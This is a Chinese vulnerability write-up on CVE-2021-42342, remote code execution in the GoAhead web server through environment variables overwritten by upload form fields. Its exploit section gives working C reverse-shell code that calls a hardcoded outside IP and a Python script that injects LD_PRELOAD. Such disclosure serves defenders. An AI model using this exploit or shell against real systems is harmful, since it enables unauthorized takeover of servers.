CVE-2021-42342-GoAhead远程代码执行

漏洞背景

        GoAhead是一个开源(商业许可)、简单、轻巧、功能强大、可以在多个平台运行的嵌入式Web Server。GoAhead Web Server是为嵌入式实时操作系统（RTOS）量身定制的Web服务器。

漏洞信息

        文件上传过滤器存在安全漏洞，用户表单变量可以传递给 CGI 脚本，而无需使用 CGI 前缀作为前缀。表单变量作为环境变量传递，导致环境变量被覆盖，造成 RCE 。

受影响版本：

• 5.x<=GoAhead<5.1.5

• GoAhead =4.x

CVE 信息：

• https://github.com/embedthis/goahead/issues/305

漏洞详情

        Post 请求中的表单变量使用 ME_GOAHEAD_CGI_VAR_PREFIX 作为前缀，该前缀通常设置为 CGI_ 。但是上传过滤器没有设置不受信任的 var 位，因此 CGI 处理程序不使用前缀，导致环境被覆盖。

具体代码在 cgi.c ：

ME_GOAHEAD_CGI_VAR_PREFIX 是 cgi 前缀配置。s->arg 为 1 是标记为不受信任的关键字，会在上图位置加入 cgi 前缀。检索源码中标记 sp-arg = 1 的代码：

        在 addFormVars 这个函数调用，函数处理完成后会将标志位置为 1 ，后续就会进行加前缀。addFormVars 在两处地方存在调用，分别在 websSetQueryVars 和  websSetFormVars

websSetQueryVars 和  websSetFormVars 在 websRunRequest 被调用：

websRunRequest 被 websPump 调用，每个 http 请求由 readEvent 调用 websPump 进行处理，在 parseHeaders 对 http 请求的 contentType 进行处理：

将 contentType 设置成 multipart/form-data ，wp->flags 就是上传模式，不会调用到 sp-arg = 1

利用触发与之前爆出的 CVE-2017-17562 一样。

EXP

Vulhub 已经有复现环境：vulhub/goahead:5.1.4

利用方法大概是将反弹 shell 编译成动态库，利用 LD_PRELOAD 将运行环境强行修改动态库，以此运行恶意代码。

反弹 shell 动态库：

#include<stdio.h>
#include<stdlib.h>
#include<sys/socket.h>
#include<netinet/in.h>

char *server_ip="120.24.72.234";
uint32_t server_port=7777;

static void reverse_shell(void) __attribute__((constructor));
static void reverse_shell(void) 
{
 int sock = socket(AF_INET, SOCK_STREAM, 0);
 struct sockaddr_in attacker_addr = {0};
 attacker_addr.sin_family = AF_INET;
 attacker_addr.sin_port = htons(server_port);
 attacker_addr.sin_addr.s_addr = inet_addr(server_ip);
 if(connect(sock, (struct sockaddr *)&attacker_addr,sizeof(attacker_addr))!=0)
   exit(0);
 dup2(sock, 0);
 dup2(sock, 1);
 dup2(sock, 2);
 execve("/bin/bash", 0, 0);
}

编译指令：gcc exp.c -fPIC -shared -o exp.so -nostartfile

数据包构造脚本：

import sys
import socket
import ssl
import random
from urllib.parse import urlparse, ParseResult

PAYLOAD_MAX_LENGTH = 16384 - 200


def exploit(client, parts: ParseResult, payload: bytes):
   path = '/' if not parts.path else parts.path
   boundary = '----%s' % str(random.randint(1000000000000, 9999999999999))
   padding = 'a' * 2000
   content_length = min(len(payload) + 500, PAYLOAD_MAX_LENGTH)
   data = fr'''POST {path} HTTP/1.1
Host: {parts.hostname}
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary={boundary}
Content-Length: {content_length}

--{boundary}
Content-Disposition: form-data; name="LD_PRELOAD";

/proc/self/fd/7
--{boundary}
Content-Disposition: form-data; name="data"; filename="exp.so"
Content-Type: text/plain

#payload#{padding}
--{boundary}--
'''.replace('n', 'rn')
   data = data.encode().replace(b'#payload#', payload)
   client.send(data)
   resp = client.recv(20480)
   print(resp.decode())


def main():
   target = sys.argv[1]
   payload_filename = sys.argv[2]

   with open(payload_filename, 'rb') as f:
       data = f.read()

   if len(data) > PAYLOAD_MAX_LENGTH:
       raise Exception('payload size must not larger than %d', PAYLOAD_MAX_LENGTH)

   parts = urlparse(target)
   port = parts.port
   if not parts.port:
       if parts.scheme == 'https':
           port = 443
       else:
           port = 80

   context = ssl.create_default_context()
   with socket.create_connection((parts.hostname, port), timeout=8) as client:
       if parts.scheme == 'https':
           with context.wrap_socket(client, server_hostname=parts.hostname) as ssock:
               exploit(ssock, parts, data)

       else:
           exploit(client, parts, data)


if __name__ == '__main__':
   main()

修复方案

更新至 goahead 5.1.5 版本。具体在 upload.c 将不信任标志位置 1 ：

参考

https://mp.weixin.qq.com/s/AS9DHeHtgqrgjTb2gzLJZg

https://paper.seebug.org/1808

https://github.com/kimusan/goahead-webserver-pre-5.1.5-RCE-PoC-CVE-2021-42342-

https://github.com/vulhub/vulhub/tree/54e1b989f53de31d3ea1d3f711f2284917c625c0/goahead/CVE-2021-42342

原文始发于微信公众号（山石网科安全技术研究院）：CVE-2021-42342-GoAhead远程代码执行